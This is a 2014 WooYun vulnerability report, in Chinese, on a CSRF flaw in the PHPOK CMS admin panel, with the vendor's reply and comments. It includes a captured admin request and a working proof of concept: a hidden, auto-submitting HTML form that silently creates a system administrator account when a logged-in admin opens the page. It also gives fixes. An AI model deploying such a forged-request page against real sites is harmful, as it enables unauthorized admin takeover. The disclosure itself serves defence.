当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055782

漏洞标题:PHPOK CSRF获取管理员权限

相关厂商:phpok.com

漏洞作者: 三只小潴

提交时间:2014-04-11 15:28

修复时间:2014-05-26 15:29

公开时间:2014-05-26 15:29

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-11: 厂商已经确认,细节仅向厂商公开
2014-04-21: 细节向核心白帽子及相关领域专家公开
2014-05-01: 细节向普通白帽子公开
2014-05-11: 细节向实习白帽子公开
2014-05-26: 细节向公众公开

简要描述:

PHPOK CSRF获取管理员权限

详细说明:

PHPOK CSRF获取管理员权限

漏洞证明:

测试环境(PHPOK):

1.jpg


添加用户:

2.jpg


抓包抓到如下内容:

POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.evil.com
Proxy-Connection: keep-alive
Content-Length: 67
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://www.evil.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.evil.com/phpok/admin.php?c=admin&f=set
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSION=c003810ffea32e03358eb66d6a1a81cb
id=&account=poc&pass=poc123&email=poc%40qq.com&status=1&if_system=1


发现没有加token,查看源码也没有看到判断referer。 所以可能存在CSRF,于是构造如下POC:

<div style="display:none">
<form action="http://www.evil.com/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value"submit"/>
</form>
<script>
var t = document.poc;
t.account.value="evil";
t.pass.value="evil";
t.email.value="evil@qq.com";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>


打开POC页面前:

3.jpg


打开后:

4.jpg


为此添加管理员成功。。。
理论上是通杀所有版本的。。。

修复方案:

1. 判断referer来源,根据业务的逻辑进行referer的过滤。
2. 添加一次性token,同时注意随机不可预测性!

版权声明:转载请注明来源 三只小潴@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-04-11 15:55

厂商回复:

您好,朋友,我真心不懂您说的这个漏洞噢。因为你的这个测试是需要已经是管理员登录过后才能执行的操作~。这个我没办法重现这个漏洞。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-04-11 20:34 | 三只小潴 ( 路人 | Rank:3 漏洞数:3 | 纯属小白,求大牛关注。。。)

    。。。 难道厂商没有做安全的人么? CSRF不知道是什么洞?

  2. 2014-05-26 15:36 | phpok企业站(乌云厂商)

    现在才慢慢正式化!人都还没有招齐全呢:(